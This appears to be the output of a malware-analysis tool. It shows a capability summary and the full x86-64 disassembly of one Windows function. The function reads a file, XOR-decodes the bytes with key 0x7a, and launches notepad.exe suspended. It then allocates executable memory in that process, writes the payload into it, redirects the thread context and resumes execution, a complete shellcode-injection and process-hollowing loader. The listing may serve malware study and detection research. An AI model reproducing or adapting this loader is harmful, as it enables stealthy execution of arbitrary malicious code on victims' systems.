Function at 0x1800014b0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Encode data using xor
Execute shellcode via indirect call
Resume thread
Use process replacement

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x720]
sub rsp, 0x820
mov rax, qword [0x18000a010]
xor rax, rsp
mov qword [rbp + 0x710], rax
mov rbx, rdx
xor r12d, r12d
mov dword [rsp + 0x50], r12d
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp + 0xc0]
call sub.VCRUNTIME140.dll_memset
cmp qword [rbx + 0x18], 0x10
jb 0x180001511
mov rbx, qword [rbx]
mov rdx, rbx
lea rcx, [rbp + 0xc0]
call fcn.180003580
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
lea r13, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0xc0], r13
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0xbc], edx
cmp qword [rbp + 0x150], 0
jne 0x180001583
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.180003920
mov rcx, rax
lea rdx, [0x180003ad0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov r15d, 1
jmp 0x180001b56
xor edx, edx
mov r8d, 0xe8
lea rcx, [rbp - 0x30]
call sub.VCRUNTIME140.dll_memset
lea rax, [0x1800066f8]
mov qword [rbp - 0x30], rax
lea rcx, [rbp + 0x58]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov r15d, 1
mov dword [rsp + 0x50], r15d
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
nop
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + rcx - 0x30], rax
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x88]
mov dword [rbp + rcx - 0x34], edx
lea rcx, [rbp - 0x28]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rax, vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp - 0x28], rax
mov qword [rbp + 0x40], r12
mov dword [rbp + 0x48], 4
mov r8d, r15d
lea rdx, [rbp - 0x58]
lea rcx, [rbp + 0xc0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::read_char____ptr64__long_long___int64_____ptr64]
mov rdx, rax
mov rax, qword [rax]
movsxd rcx, dword [rax + 4]
test byte [rcx + rdx + 0x10], 6
jne 0x1800016bb
nop dword [rax]
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
mov byte [rbp + rcx + 0x28], 0x30
mov edx, 2
lea rcx, [rsp + 0x58]
call qword [sym.imp.MSVCP140.dll_struct_std::_Smanip_long_long___int64_____cdecl_std::setw_long_long___int64__]
mov r8, rax
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x30]
add rcx, rax
mov rdx, qword [r8 + 8]
call qword [r8]
movzx ebx, byte [rbp - 0x58]
lea rdx, [0x180001300]
lea rcx, [rbp - 0x30]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov r8, r15
lea rdx, [rbp - 0x58]
lea rcx, [rbp + 0xc0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::read_char____ptr64__long_long___int64_____ptr64]
mov rdx, rax
mov rax, qword [rax]
movsxd rcx, dword [rax + 4]
test byte [rcx + rdx + 0x10], 6
je 0x180001640
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
movdqa xmm1, xmmword [0x1800067c0]
movdqu xmmword [rbp - 0x80], xmm1
mov byte [rsp + 0x70], 0
mov dword [rsp + 0x50], 5
movups xmmword [rsp + 0x58], xmm0
mov ecx, dword [rbp + 0x48]
mov eax, ecx
and al, 0x22
cmp al, 2
je 0x18000170e
mov rax, qword [rbp + 0x18]
mov r8, qword [rax]
test r8, r8
je 0x18000170e
mov rax, qword [rbp - 8]
mov rdx, qword [rax]
cmp r8, qword [rbp + 0x40]
cmovb r8, qword [rbp + 0x40]
sub r8, rdx
jmp 0x18000173f
test cl, 4
jne 0x180001735
mov rax, qword [rbp + 0x10]
mov rcx, qword [rax]
test rcx, rcx
je 0x180001735
mov rax, qword [rbp - 0x10]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x28]
movsxd r8, dword [rax]
sub r8, rdx
add r8, rcx
jmp 0x18000173f
mov r8, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x58]
test rdx, rdx
je 0x18000174f
lea rcx, [rsp + 0x70]
call fcn.1800037a0
nop
lea rdx, [rsp + 0x70]
lea rcx, [rbp - 0x50]
call fcn.180001320
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, 0x10
jb 0x18000179a
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180001795
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180001af6
call fcn.180004120
lea rcx, [rbp + 0xd0]
call fcn.1800034d0
test rax, rax
jne 0x1800017cd
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0xc0]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
lea r14, [rbp - 0x50]
cmp qword [rbp - 0x38], 0x10
cmovae r14, qword [rbp - 0x50]
mov rsi, qword [rbp - 0x40]
mov rbx, r12
mov rdi, r12
test rsi, rsi
je 0x18000184b
movabs rax, 0x7fffffffffffffff
cmp rsi, rax
ja 0x180001c48
cmp rsi, 0x1000
jb 0x18000182f
lea rcx, [rsi + 0x27]
cmp rcx, rsi
jbe 0x180001c42
call fcn.180004154
test rax, rax
je 0x180001af6
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x18000183a
mov rcx, rsi
call fcn.180004154
mov rbx, rax
lea rdi, [rbx + rsi]
mov r8, rsi
xor edx, edx
mov rcx, rbx
call sub.VCRUNTIME140.dll_memset
mov r8, r12
test rsi, rsi
je 0x180001903
cmp rsi, 0x40
jb 0x1800018dc
lea rcx, [rsi - 1]
add rcx, rbx
lea rax, [rsi - 1]
add rax, r14
cmp rbx, rax
ja 0x180001875
cmp rcx, r14
jae 0x1800018dc
mov r9, rsi
and r9, 0xffffffffffffffc0
movdqa xmm2, xmmword [str.zzzzzzzzzzzzzzzz_]
lea rax, [rbx + 0x10]
mov rcx, r14
sub rcx, rbx
nop
movdqu xmm0, xmmword [rcx + rax - 0x10]
pxor xmm0, xmm2
movdqu xmmword [rax - 0x10], xmm0
movdqu xmm1, xmmword [rcx + rax]
pxor xmm1, xmm2
movdqu xmmword [rax], xmm1
movdqu xmm0, xmmword [rcx + rax + 0x10]
pxor xmm0, xmm2
movdqu xmmword [rax + 0x10], xmm0
movdqu xmm1, xmmword [rcx + rax + 0x20]
pxor xmm1, xmm2
movdqu xmmword [rax + 0x20], xmm1
add r8, 0x40
lea rax, [rax + 0x40]
cmp r8, r9
jb 0x180001890
cmp r8, rsi
jae 0x180001903
lea rcx, [rbx + r8]
sub r14, rbx
mov rdx, rsi
sub rdx, r8
nop dword [rax]
movzx eax, byte [rcx + r14]
xor al, 0x7a
mov byte [rcx], al
lea rcx, [rcx + 1]
sub rdx, 1
jne 0x1800018f0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1d4], xmm0
movups xmmword [rbp + 0x1e4], xmm0
movups xmmword [rbp + 0x1f4], xmm0
movups xmmword [rbp + 0x204], xmm0
movups xmmword [rbp + 0x214], xmm0
movups xmmword [rbp + 0x224], xmm0
mov dword [rbp + 0x234], eax
movups xmmword [rbp - 0x70], xmm0
mov qword [rbp - 0x60], rax
xor edx, edx
mov r8d, 0x4d0
lea rcx, [rbp + 0x240]
call sub.VCRUNTIME140.dll_memset
mov dword [rbp + 0x1d0], 0x68
lea rax, [rbp - 0x70]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x1d0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.C:WindowsSystem32_notepad.exe
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x1800019ba
lea rcx, str.Create_Process
sub rdi, rbx
call fcn.180001020
mov r15d, r12d
jmp 0x180001a8b
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8, rsi
xor edx, edx
mov rcx, qword [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rsi, rax
test rax, rax
jne 0x1800019f6
lea rcx, [0x1800065b0]
sub rdi, rbx
call fcn.180001020
mov r15d, r12d
jmp 0x180001a8b
sub rdi, rbx
mov qword [rsp + 0x20], r12
mov r9, rdi
mov r8, rbx
mov rdx, rsi
mov rcx, qword [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x180001a26
lea rcx, str.WriteProcessError
call fcn.180001020
mov r15d, r12d
jmp 0x180001a8b
mov dword [rbp + 0x270], 0x10000b
lea rdx, [rbp + 0x240]
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x180001a61
mov qword [rbp + 0x338], rsi
lea rdx, [rbp + 0x240]
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
jne 0x180001a72
lea rcx, [0x1800065d8]
call fcn.180001020
mov r15d, r12d
jmp 0x180001a8b
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov edx, 0x1388
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test rbx, rbx
je 0x180001abd
cmp rdi, 0x1000
jb 0x180001ab1
add rdi, 0x27
mov rcx, qword [rbx - 8]
sub rbx, rcx
lea rax, [rbx - 8]
cmp rax, 0x1f
ja 0x180001af6
mov rbx, rcx
mov rdx, rdi
mov rcx, rbx
call fcn.180004120
nop
mov rdx, qword [rbp - 0x38]
cmp rdx, 0x10
jb 0x180001b02
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180001afd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180001afd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.180004120
mov qword [rbp - 0x40], r12
mov qword [rbp - 0x38], 0xf
mov byte [rbp - 0x50], 0
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + rcx - 0x30], rax
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x88]
mov dword [rbp + rcx - 0x34], edx
lea rcx, [rbp - 0x28]
call fcn.180002370
lea rcx, [rbp - 0x20]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x58]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0xc0], r13
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0xbc], edx
lea rax, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov qword [rbp + 0xd0], rax
cmp qword [rbp + 0x150], 0
je 0x180001bd2
mov rax, qword [rbp + 0xe8]
lea rcx, [rbp + 0x140]
cmp qword [rax], rcx
jne 0x180001bd2
mov rdx, qword [rbp + 0x160]
mov rcx, qword [rbp + 0x158]
mov qword [rax], rcx
mov rax, qword [rbp + 0x108]
mov qword [rax], rcx
sub edx, ecx
mov rax, qword [rbp + 0x120]
mov dword [rax], edx
cmp byte [rbp + 0x14c], 0
je 0x180001be7
lea rcx, [rbp + 0xd0]
call fcn.1800034d0
lea rcx, [rbp + 0xd0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rbp + 0xd8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x170]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
mov eax, r15d
mov rcx, qword [rbp + 0x710]
xor rcx, rsp
call fcn.180004100
lea r11, [rsp + 0x820]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.180001180
nop
call fcn.180004030
int3